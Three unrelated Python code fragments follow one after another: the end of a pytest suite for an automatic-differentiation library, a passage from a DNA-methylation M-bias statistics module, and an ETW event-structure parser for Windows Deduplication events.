f = el.sinh(x)
assert (f.val, f.der) == (np.sinh(0.5), 0)
with pytest.raises(AttributeError):
x = "0.5"
f = el.sinh(x)
def test_cosh(self):
x = AD(0.5)
f = el.cosh(x)
assert (f.val, f.der) == (np.cosh(0.5), np.sinh(0.5))
x = 0.5
f = el.cosh(x)
assert (f.val, f.der) == (np.cosh(0.5), 0)
with pytest.raises(AttributeError):
x = "0.5"
f = el.cosh(x)
def test_tanh(self):
x = AD(0.5)
f = el.tanh(x)
assert (f.val, f.der) == (np.tanh(0.5), 1 - np.tanh(0.5) ** 2)
x = 0.5
f = el.tanh(x)
assert (f.val, f.der) == (np.tanh(0.5), 0)
with pytest.raises(AttributeError):
x = "0.5"
f = el.tanh(x)
def test_add(self):
x = AD(5)
f = el.power(x, 2) + 5
assert (f.val, f.der) == (30, 10)
f = 5 + el.power(x, 2)
assert (f.val, f.der) == (30, 10)
f = el.power(x, 2) + 5 * x
assert (f.val, f.der) == (50, 15)
f = x * 5 + el.power(x, 2)
assert (f.val, f.der) == (50, 15)
with pytest.raises(AttributeError):
f = el.power(x, 2) + "5"
f = el.power(x, 2)
g = 5
h = f + g
assert (h.val, h.der) == (30, 10)
f = 5
g = el.power(x, 2)
h = f + g
assert (h.val, h.der) == (30, 10)
def test_sub(self):
x = AD(5)
f = el.power(x, 2) + -5 * x
assert (f.val, f.der) == (0, 5)
f = el.power(x, 2) - 50
assert (f.val, f.der) == (-25, 10)
f = - 50 + el.power(x, 2)
assert (f.val, f.der) == (-25, 10)
f = 50 - el.power(x, 2)
assert (f.val, f.der) == (25, -10)
f = -5 * x + el.power(x, 2)
assert (f.val, f.der) == (0, 5)
f = -x * 5 + el.power(x, 2)
assert (f.val, f.der) == (0, 5)
f = el.power(x, 2) - 5 * x
assert (f.val, f.der) == (0, 5)
f = x * 5 - el.power(x, 2)
assert (f.val, f.der) == (0, -5)
with pytest.raises(AttributeError):
f = el.sin(x) - "5"
def test_mul(self):
x = AD(4)
f = el.log(x, 2) * 3 ** x
assert (np.round(f.val, 6), np.round(f.der[-1], 6)) == (
162, np.round(81 / (4 * np.log(2)) + 162 * np.log(3), 6))
f = 3 ** x * el.log(x, 2)
assert (np.round(f.val, 6), np.round(f.der[-1], 6)) == (
162, np.round(81 / (4 * np.log(2)) + 162 * np.log(3), 6))
with pytest.raises(AttributeError):
f = x * "5"
def test_truediv(self):
x = AD(4)
f = el.log(x, 2) / 3 ** x
assert (np.round(f.val, 6), np.round(f.der[-1], 6)) == (
np.round(2 / 81, 6), np.round((81 / (4 * np.log(2)) - 162 * np.log(3)) / 3 ** 8, 6))
f = el.sin(x) / 4
assert (f.val, f.der) == ((np.sin(4)) / 4, (np.cos(4)) / 4)
with pytest.raises(ZeroDivisionError):
f = el.cos(x) / el.sin(0)
with pytest.raises(ZeroDivisionError):
f = el.cos(x) / 0
f = 3 ** x / el.log(x, 2)
assert | |
0
best_end = 0
# Pycharm false positive due to for...else flow
# noinspection PyUnboundLocalVariable
return pd.Series([best_start, best_end],
index=['left_cut_end', 'right_cut_end'])
# noinspection PyUnreachableCode
def fit_percentiles(group_df: pd.DataFrame) -> pd.Series:
raise NotImplementedError
# remove hardcoding before using this
min_perc = 0.5 # min_plateau_length = effective_read_length * min_perc
percentiles = (0.02, 0.98)
min_percentile_delta = 0.1
min_flen = 45
max_read_length = 101
max_slope = min_percentile_delta/max_read_length
beta_values = group_df['beta_value']
effective_read_length = len(beta_values)
if effective_read_length < min_flen:
return pd.Series([0, 0],
index=['left_cut_end', 'right_cut_end'])
if beta_values.isnull().all():
return pd.Series([0, 0],
index=['left_cut_end', 'right_cut_end'])
min_plateau_length = int(effective_read_length * min_perc)
for plateau_length in range(effective_read_length, min_plateau_length - 1,
-1):
max_start_pos = effective_read_length - plateau_length
percentile_delta_to_beat = min_percentile_delta
best_start = None
for start_pos in range(0, max_start_pos):
end_pos = start_pos + plateau_length
curr_beta_values = beta_values.iloc[start_pos:end_pos]
low_percentile, high_percentile = curr_beta_values.quantile(percentiles)
curr_percentile_delta = high_percentile - low_percentile
if curr_percentile_delta < percentile_delta_to_beat:
# plateau_height = curr_beta_values.mean()
# left_end_ok = (curr_beta_values[0:4] > low_percentile).all()
# right_end_ok = (curr_beta_values[-4:] < high_percentile).all()
curr_beta_values_arr = curr_beta_values.values
plateau_end_deltas = (curr_beta_values_arr[0:4, np.newaxis] -
curr_beta_values_arr[np.newaxis, -4:])
both_ends_ok = (plateau_end_deltas < min_percentile_delta).all()
assert isinstance(both_ends_ok, np.bool_), type(both_ends_ok)
if both_ends_ok:
regr = linear_model.LinearRegression()
X = np.arange(0, plateau_length)[:, np.newaxis]
Y = curr_beta_values_arr[:, np.newaxis]
regr.fit(X, Y)
if regr.coef_[0, 0] <= max_slope:
percentile_delta_to_beat = curr_percentile_delta
best_start = start_pos
best_end = end_pos
if best_start is not None:
break
else:
best_start = 0
best_end = 0
# Pycharm false positive due to for...else flow
# noinspection PyUnboundLocalVariable
return pd.Series([best_start, best_end],
index=['left_cut_end', 'right_cut_end'])
def compute_mbias_stats_df(mbias_counter_fp_str: str) -> pd.DataFrame:
"""Compute DataFrame of Mbias-Stats
Parameters
----------
mbias_counter_fp_str: str
Path to pickle of MbiasCounter
Returns
-------
pd.DataFrame:
Index: ['motif', 'seq_context', 'bs_strand', 'flen', 'phred', 'pos']
Columns: ['n_meth', 'n_unmeth', 'beta_value']
takes approx. 7 min, mainly due to index sorting, which may be unnecessary.
Sorting to be future-proof at the moment.
"""
print("Creating mbias stats dataframe")
# only necessary while interval levels are coded in MbiasCounter.__init__
mbias_counter = pd.read_pickle(mbias_counter_fp_str)
print("Reading data in, removing impossible strata (pos > flen)")
# convert MbiasCounter.counter_array to dataframe
# remove positions > flen
# takes approx. 2.5 min
mbias_stats_df = (mbias_counter
.get_dataframe()
# TEST
# for interactive testing
# .loc[['WWCGW', 'CCCGC', 'GGCGG', 'CGCGC', 'GCCGG'], :]
# \TEST
.groupby(['flen', 'pos'])
.filter(lambda group_df: (group_df.name[0] - 1
>= group_df.name[1]))
)
print("Adding beta values")
# Add beta value, approx. 1.5 min
mbias_stats_df_with_meth = (mbias_stats_df
.loc[:, 'counts']
.unstack('meth_status'))
# columns is categorical index,
# replace with object index for easier extension
mbias_stats_df_with_meth.columns = ['n_meth', 'n_unmeth']
mbias_stats_df_with_meth['beta_value'] = compute_beta_values(
mbias_stats_df_with_meth)
print("Adding motif labels to index")
# prepend motif level to index (~40s)
mbias_stats_df_with_motif_idx = prepend_motif_level_to_index(
mbias_stats_df_with_meth)
print("Sorting")
# sort - takes approx. 3-4.5 min with IntegerIndices for flen and phred
mbias_stats_df_with_motif_idx.sort_index(inplace=True)
return mbias_stats_df_with_motif_idx
def prepend_motif_level_to_index(mbias_stats_df: pd.DataFrame) -> pd.DataFrame:
# first, create motif column. This way is much faster than using
# apply(map_seq_ctx_to_motif) on seq_contexts (15s)
# create motif column, assuming all rows have CHH seq_contexts
mbias_stats_df["motif"] = pd.Categorical(
['CHH'] * len(mbias_stats_df),
categories=['CG', 'CHG', 'CHH'],
ordered=True)
# find the seq_context labels which are CG and CHG
seq_contexts = (mbias_stats_df.index.levels[0].categories.tolist())
motifs = [map_seq_ctx_to_motif(x) for x in seq_contexts]
motif_is_cg = [x == 'CG' for x in motifs]
motif_is_chg = [x == 'CHG' for x in motifs]
cg_seq_contexts = itertools.compress(seq_contexts, motif_is_cg)
chg_seq_contexts = itertools.compress(seq_contexts, motif_is_chg)
# replace CHH motif label with correct labels at CG / CHG seq_contexts
mbias_stats_df.loc[cg_seq_contexts, "motif"] = "CG"
mbias_stats_df.loc[chg_seq_contexts, "motif"] = "CHG"
# Then set as index and prepend
# This takes 15s with interval flen and phred indices
# *with IntervalIndices for flen and phred, it takes 6-7 min*
index_cols = ['motif', 'seq_context', 'bs_strand', 'flen', 'phred', 'pos']
return (mbias_stats_df
.set_index(["motif"], append=True)
.reorder_levels(index_cols, axis=0))
def compute_classic_mbias_stats_df(mbias_stats_df: pd.DataFrame) -> pd.DataFrame:
"""Compute Mbias-Stats df with only 'standard' levels
Takes ~30s
"""
print("Creating classic mbias stats dataframe")
return (mbias_stats_df
.groupby(level=['motif', 'bs_strand', 'flen', 'pos'])
.sum()
.groupby(['flen', 'pos'])
.filter(lambda group_df: (group_df.name[0] - 1
>= group_df.name[1]))
.assign(beta_value=compute_beta_values)
)
def mask_mbias_stats_df(mbias_stats_df: pd.DataFrame, cutting_sites_df: pd.DataFrame) -> pd.DataFrame:
"""Cover pos in trimming zones (depends on bs_strand, flen...) with NA"""
print("Masking dataframe")
def mask_trimming_zones(group_df, cutting_sites_df):
bs_strand, flen, pos = group_df.name
left, right = cutting_sites_df.loc[(bs_strand, flen), ['start', 'end']]
# left, right are indicated as slice(left, right) for 0-based
# position coordinates
left += 1
return left <= pos <= right
return (mbias_stats_df
.groupby(['bs_strand', 'flen', 'pos'])
.filter(mask_trimming_zones, dropna=False,
cutting_sites_df=cutting_sites_df)
)
def compute_mbias_stats(config: ConfigDict) -> None:
""" Run standard analysis on M-bias stats"""
fps = config['paths']
os.makedirs(fps['qc_stats_dir'], exist_ok=True, mode=0o770)
if (Path(fps['mbias_stats_trunk'] + '.p').exists()
and config['run']['use_cached_mbias_stats']):
print('Reading mbias stats from previously computed pickle')
mbias_stats_df = pd.read_pickle(fps['mbias_stats_trunk'] + '.p')
print(mbias_stats_df.head())
else:
print("Computing M-bias stats from M-bias counter array")
mbias_stats_df = compute_mbias_stats_df(fps['mbias_counts'] + '.p')
mbias_stats_df = add_mate_info(mbias_stats_df)
mbias_stats_df = mbias_stats_df.sort_index()
print('Discarding unused phred scores')
n_total = mbias_stats_df["n_meth"] + mbias_stats_df["n_unmeth"]
phred_group_sizes = n_total.groupby("phred").sum()
phred_bin_has_counts = (phred_group_sizes > 0)
existing_phred_scores = phred_group_sizes.index.values[phred_bin_has_counts]
mbias_stats_df = mbias_stats_df.loc[idxs[:, :, :, :, :, existing_phred_scores], :]
mbias_stats_df.index = mbias_stats_df.index.remove_unused_levels()
save_df_to_trunk_path(mbias_stats_df, fps["mbias_stats_trunk"])
print('Computing derived stats')
compute_derived_mbias_stats(mbias_stats_df, config)
print("DONE")
def add_mate_info(mbias_stats_df: pd.DataFrame) -> pd.DataFrame:
# Alternatively merge mate1 and mate2 calls
# index_level_order = list(mbias_stats_df.index.names)
# res = mbias_stats_df.reset_index("bs_strand")
# res["bs_strand"] = res["bs_strand"].replace({"c_bc": "Read 1", "c_bc_rv": "Read 2",
# "w_bc": "Read 1", "w_bc_rv": "Read 2"})
# res["dummy"] = 1
# res = res.set_index(["bs_strand", "dummy"], append=True)
# res = res.reorder_levels(index_level_order + ["dummy"])
# res = res.groupby(level=index_level_order).sum().assign(beta_value = compute_beta_values)
print("Adding mate info")
bs_strand_to_read_mapping = {"c_bc": "Mate 1", "c_bc_rv": "Mate 2",
"w_bc": "Mate 1", "w_bc_rv": "Mate 2"}
# ~ 1.5 min for CG only
mbias_stats_df["mate"] = (mbias_stats_df
.index
.get_level_values("bs_strand")
.to_series()
.replace(bs_strand_to_read_mapping)
.values
)
# quick
mbias_stats_df = (mbias_stats_df
.set_index("mate", append=True)
.reorder_levels(["motif", "seq_context",
"mate", "bs_strand",
"flen", "phred", "pos"])
)
return mbias_stats_df
def compute_derived_mbias_stats(mbias_stats_df: pd.DataFrame, config: ConfigDict) -> None:
"""Compute various objects derived from the M-bias stats dataframe
All objects are stored on disc, downstream evaluation is done in
separate steps, e.g. by using the mbias_plots command.
Notes:
- the plateau detection is performed only based on CG context
calls, also if information for CHG and CHH context is present.
The cutting sites determined in this way will then be applied
across all sequence contexts
"""
plateau_detection_params = config['run']['plateau_detection']
# Will be used when more algorithms are implemented
unused_plateau_detection_algorithm = plateau_detection_params.pop('algorithm')
print("Computing cutting sites")
classic_mbias_stats_df = compute_classic_mbias_stats_df(mbias_stats_df)
classic_mbias_stats_df_with_n_total = classic_mbias_stats_df.assign(
n_total = lambda df: df['n_meth'] + df['n_unmeth']
)
cutting_sites = CuttingSites.from_mbias_stats(
mbias_stats_df=classic_mbias_stats_df_with_n_total.loc['CG', :],
**plateau_detection_params)
print("Computing masked M-bias stats DF")
masked_mbias_stats_df = mask_mbias_stats_df(
mbias_stats_df, cutting_sites.df)
print("Adding phred filtering info")
phred_threshold_df = convert_phred_bins_to_thresholds(mbias_stats_df)
phred_threshold_df_trimmed = convert_phred_bins_to_thresholds(
masked_mbias_stats_df)
print("Saving results")
fps = config['paths']
os.makedirs(fps['qc_stats_dir'], exist_ok=True, mode=0o770)
# TODO-refactor: clean up
fps["mbias_stats_classic_trunk"] = fps['mbias_stats_classic_p'].replace('.p', '')
fps["mbias_stats_masked_trunk"] = fps['mbias_stats_masked_p'].replace('.p', '')
fps["adjusted_cutting_sites_df_trunk"] = fps["adjusted_cutting_sites_df_p"].replace('.p', '')
save_df_to_trunk_path(cutting_sites.df,
fps["adjusted_cutting_sites_df_trunk"])
save_df_to_trunk_path(classic_mbias_stats_df,
fps["mbias_stats_classic_trunk"])
save_df_to_trunk_path(masked_mbias_stats_df,
fps["mbias_stats_masked_trunk"])
save_df_to_trunk_path(phred_threshold_df,
fps['mbias_stats_phred_threshold_trunk'])
save_df_to_trunk_path(phred_threshold_df_trimmed,
fps['mbias_stats_masked_phred_threshold_trunk'])
def mbias_stat_plots(
output_dir: str,
dataset_name_to_fp: dict,
compact_mbias_plot_config_dict_fp: Optional[str] = None) -> None:
""" Analysis workflow creating the M-bias plots and report
Creates all M-bias plots specified through the compact
dict representation of the MbiasAnalysisConfig. The config
file refers to shorthand dataset names. These names
are mapped to filepaths in the dataset_name_to_fp dict.
This function is accessible through the cli mbias_plots tool.
The datasets are given as comma-separated key=value pairs.
Args:
output_dir:
All output filepaths are relative to the output_dir. It must
be possible to make the output_dir the working directory.
compact_mbias_plot_config_dict_fp:
Path to the python module containing the M-bias plot config
dict, plus the name of the desired config dict, appended
with '::'. See mqc/resources/default_mbias_plot_config.py
for an example. The default config file also contains
more documentation about the structure of the config file.
dataset_name_to_fp:
dataset name to path mapping
Notes:
Roadmap:
- this function will be refactored into a general PlotAnalysis class
- add sample metadata to output dfs? Currently the sample
metadata are unused
"""
# All filepaths are relative paths, need to go to correct output dir
try:
os.chdir(output_dir)
except:
raise OSError('Cannot enter the specified working directory')
# Load compact mbias plot config dict from python module path
# given as '/path/to/module::dict_name'
if compact_mbias_plot_config_dict_fp is None:
compact_mbias_plot_config_dict_fp = (
get_resource_abspath('default_mbias_plot_config.py')
+ '::default_config')
mbias_plot_config_module_path, config_dict_name = (
compact_mbias_plot_config_dict_fp.split('::') # type: ignore
)
# Pycharm cant deal with importlib.util attribute
# noinspection PyUnresolvedReferences
spec = importlib.util.spec_from_file_location(
'cf', mbias_plot_config_module_path)
# Pycharm cant deal with importlib.util | |
<filename>etl/parsers/etw/Microsoft_Windows_Deduplication_Change.py
# -*- coding: utf-8 -*-
"""
Microsoft-Windows-Deduplication-Change
GUID : 1d5e499d-739c-45a6-a3e1-8cbe0a352beb
"""
from construct import Int8sl, Int8ul, Int16ul, Int16sl, Int32sl, Int32ul, Int64sl, Int64ul, Bytes, Double, Float32l, Struct
from etl.utils import WString, CString, SystemTime, Guid
from etl.dtyp import Sid
from etl.parsers.etw.core import Etw, declare, guid
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16384, version=0)
class Microsoft_Windows_Deduplication_Change_16384_0(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"Generation" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16385, version=0)
class Microsoft_Windows_Deduplication_Change_16385_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16386, version=0)
class Microsoft_Windows_Deduplication_Change_16386_0(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"Generation" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16387, version=0)
class Microsoft_Windows_Deduplication_Change_16387_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16388, version=0)
class Microsoft_Windows_Deduplication_Change_16388_0(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"Generation" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16389, version=0)
class Microsoft_Windows_Deduplication_Change_16389_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16390, version=0)
class Microsoft_Windows_Deduplication_Change_16390_0(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"Generation" / Int32ul,
"InvalidFileName" / WString
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16391, version=0)
class Microsoft_Windows_Deduplication_Change_16391_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16392, version=0)
class Microsoft_Windows_Deduplication_Change_16392_0(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"Generation" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16393, version=0)
class Microsoft_Windows_Deduplication_Change_16393_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16394, version=0)
class Microsoft_Windows_Deduplication_Change_16394_0(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"Generation" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16395, version=0)
class Microsoft_Windows_Deduplication_Change_16395_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16396, version=0)
class Microsoft_Windows_Deduplication_Change_16396_0(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"Generation" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16397, version=0)
class Microsoft_Windows_Deduplication_Change_16397_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16398, version=0)
class Microsoft_Windows_Deduplication_Change_16398_0(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"Generation" / Int32ul,
"ContainerOffset" / Int32ul,
"StartIndex" / Int32ul,
"EntryCount" / Int32ul,
"Entries" / Int32sl
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16399, version=0)
class Microsoft_Windows_Deduplication_Change_16399_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16400, version=1)
class Microsoft_Windows_Deduplication_Change_16400_1(Etw):
pattern = Struct(
"Signature" / Int32ul,
"MajorVersion" / Int8ul,
"MinorVersion" / Int8ul,
"VersionChecksum" / Int16ul,
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"Generation" / Int32ul,
"ContainerOffset" / Int32ul,
"UpdateSequenceNumber" / Int64ul,
"ValidDataLength" / Int32ul,
"ChunkCount" / Int32ul,
"NextLocalId" / Int32ul,
"Flags" / Int32ul,
"LastAppendTime" / Int64ul,
"BackupRedirectionTableOffset" / Int32ul,
"LastReconciliationLocalId" / Int32ul,
"Checksum" / Int64ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16401, version=0)
class Microsoft_Windows_Deduplication_Change_16401_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16402, version=1)
class Microsoft_Windows_Deduplication_Change_16402_1(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"Generation" / Int32ul,
"WriteOffset" / Int64ul,
"IsBatched" / Int8ul,
"IsCorrupted" / Int8ul,
"DataSize" / Int32ul,
"Header" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16403, version=0)
class Microsoft_Windows_Deduplication_Change_16403_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16404, version=1)
class Microsoft_Windows_Deduplication_Change_16404_1(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"Generation" / Int32ul,
"WriteOffset" / Int64ul,
"IsBatched" / Int8ul,
"IsCorrupted" / Int8ul,
"DataSize" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16405, version=0)
class Microsoft_Windows_Deduplication_Change_16405_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16408, version=1)
class Microsoft_Windows_Deduplication_Change_16408_1(Etw):
pattern = Struct(
"Signature" / Int32ul,
"MajorVersion" / Int8ul,
"MinorVersion" / Int8ul,
"VersionChecksum" / Int16ul,
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"LogNumber" / Int32ul,
"Checksum" / Int32ul,
"FileExtension" / WString
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16409, version=0)
class Microsoft_Windows_Deduplication_Change_16409_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16410, version=1)
class Microsoft_Windows_Deduplication_Change_16410_1(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"LogNumber" / Int32ul,
"FileExtension" / WString,
"DeleteLogOffset" / Int32ul,
"StartIndex" / Int32ul,
"EntryCount" / Int32ul,
"Entries" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16411, version=0)
class Microsoft_Windows_Deduplication_Change_16411_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16412, version=1)
class Microsoft_Windows_Deduplication_Change_16412_1(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"LogNumber" / Int32ul,
"FileExtension" / WString
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16413, version=0)
class Microsoft_Windows_Deduplication_Change_16413_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16414, version=1)
class Microsoft_Windows_Deduplication_Change_16414_1(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"LogNumber" / Int32ul,
"FileExtension" / WString
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16415, version=0)
class Microsoft_Windows_Deduplication_Change_16415_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16416, version=1)
class Microsoft_Windows_Deduplication_Change_16416_1(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"FileName" / WString,
"ContainerId" / Int32ul,
"Generation" / Int32ul,
"BitLength" / Int32ul,
"StartIndex" / Int32ul,
"EntryCount" / Int32ul,
"Entries" / Bytes(lambda this: this.EntryCount)
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16417, version=0)
class Microsoft_Windows_Deduplication_Change_16417_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16418, version=1)
class Microsoft_Windows_Deduplication_Change_16418_1(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"FileName" / WString,
"ContainerId" / Int32ul,
"Generation" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16419, version=0)
class Microsoft_Windows_Deduplication_Change_16419_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16420, version=0)
class Microsoft_Windows_Deduplication_Change_16420_0(Etw):
pattern = Struct(
"Signature" / Int32ul,
"MajorVersion" / Int8ul,
"MinorVersion" / Int8ul,
"VersionChecksum" / Int16ul,
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"LogNumber" / Int32ul,
"Checksum" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16421, version=0)
class Microsoft_Windows_Deduplication_Change_16421_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16422, version=1)
class Microsoft_Windows_Deduplication_Change_16422_1(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"Generation" / Int32ul,
"WriteOffset" / Int64ul,
"IsBatched" / Int8ul,
"IsCorrupted" / Int8ul,
"DataSize" / Int32ul,
"Header" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16423, version=0)
class Microsoft_Windows_Deduplication_Change_16423_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16424, version=1)
class Microsoft_Windows_Deduplication_Change_16424_1(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"Generation" / Int32ul,
"WriteOffset" / Int64ul,
"IsBatched" / Int8ul,
"IsCorrupted" / Int8ul,
"DataSize" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16425, version=0)
class Microsoft_Windows_Deduplication_Change_16425_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16426, version=1)
class Microsoft_Windows_Deduplication_Change_16426_1(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"Generation" / Int32ul,
"WriteOffset" / Int64ul,
"IsBatched" / Int8ul,
"IsCorrupted" / Int8ul,
"DataSize" / Int32ul,
"Header" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16427, version=0)
class Microsoft_Windows_Deduplication_Change_16427_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16428, version=3)
class Microsoft_Windows_Deduplication_Change_16428_3(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"Generation" / Int32ul,
"WriteOffset" / Int64ul,
"IsBatched" / Int8ul,
"IsCorrupted" / Int8ul,
"DataSize" / Int32ul,
"StartIndex" / Int32ul,
"EntryCount" / Int32ul,
"Entries" / Int64ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16429, version=0)
class Microsoft_Windows_Deduplication_Change_16429_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16430, version=2)
class Microsoft_Windows_Deduplication_Change_16430_2(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"LogNumber" / Int32ul,
"MergeLogOffset" / Int32ul,
"StartIndex" / Int32ul,
"EntryCount" / Int32ul,
"Entries" / Int32sl
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16431, version=0)
class Microsoft_Windows_Deduplication_Change_16431_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16432, version=0)
class Microsoft_Windows_Deduplication_Change_16432_0(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"LogNumber" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16433, version=0)
class Microsoft_Windows_Deduplication_Change_16433_0(Etw):
pattern = Struct(
"CompletionStatus" / Int32ul
)
@declare(guid=guid("1d5e499d-739c-45a6-a3e1-8cbe0a352beb"), event_id=16434, version=0)
class Microsoft_Windows_Deduplication_Change_16434_0(Etw):
pattern = Struct(
"ChunkStoreType" / Int8ul,
"ContainerId" / Int32ul,
"LogNumber" / Int32ul
)
